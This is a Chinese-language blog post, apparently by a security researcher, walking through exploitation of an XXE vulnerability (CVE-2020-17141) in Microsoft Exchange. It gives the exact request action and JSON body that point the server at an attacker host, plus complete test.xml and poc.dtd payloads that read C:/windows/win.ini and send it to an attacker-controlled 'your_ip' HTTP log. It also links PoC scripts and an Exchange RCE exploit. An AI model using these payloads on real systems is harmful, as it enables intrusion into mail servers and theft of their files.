转眼又过去了一个月,真是好久不见呀,?弟们~
没什么好说的,提前给大家拜个年吧?
这是一个XXE漏洞,官方披露时间是12.8日,并且定级是"不太可能利用"
虽然这个漏洞的利用前提是需要一个低权限的账号
但是这样的定级还是有点不负责任的
目前网上关于这个漏洞的poc不多,在twitter上看到一个大哥写的poc后来也被证实是错误的
但是我们也是在他poc基础上找到正确的利用姿势的,所以还是贴一下poc地址:
https://srcincite.io/pocs/cve-2020-17143.py.txt
https://srcincite.io/pocs/cve-2020-17141.py.txt
如果链接无法打开,请酌情选择上网方式
下面是简单的一个复现:
用你的账号登录邮箱,然后随意浏览,你会抓到类似下面这样的一个数据包,接着就按照下图进行修改
三处大箭头所指的action需要保持一致,都为GetWacIframeUrlForOneDrive
然后post请求的body为:
{"request":{"DocumentUrl":"","EndPointUrl":"http://your_ip/test.xml?"}}
值得注意的是endpointurl的值最后的?
是不可以省略的,这也是上面两个poc不正确的一处地方,为什么需要这个?
呢
因为我们把这个请求发送给目标exchange server时,exchange server会取请求体中的endpointurl的值,并在endpointurl后面拼接一部分路径再发起请求
为了能够让目标exchange server正确请求到我们的test.xml
文件,我们需要?
这个也是我们通过查看自己服务器日志发现的
其中test.xml
文件是部署在我们自己的服务器上的,内容为:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY % start "<![CDATA[">
<!ENTITY % stuff SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://your_ip/poc.dtd">
%dtd;
]>
<root>&external;</root>
然后其中的poc.dtd的内容为:
<!ENTITY % payload "%start;%stuff;%end;">
<!ENTITY % param1 '<!ENTITY external SYSTEM "http://your_ip:port/httplog/123?p=%payload;">'>
%param1;
这payload就是一个典型的xxe外带数据的操作
其中http://your_ip:port/httplog/123?p=%payload;
就是使用httplog记录服务器发过来的数据,换成dnslog的方式同样莫问题
成功拿到数据:
最后再同步一份exchange server rce的exp:
https://github.com/Airboi/CVE-2020-17144-EXP
怕什么真理无穷,进一寸有进一寸的欢喜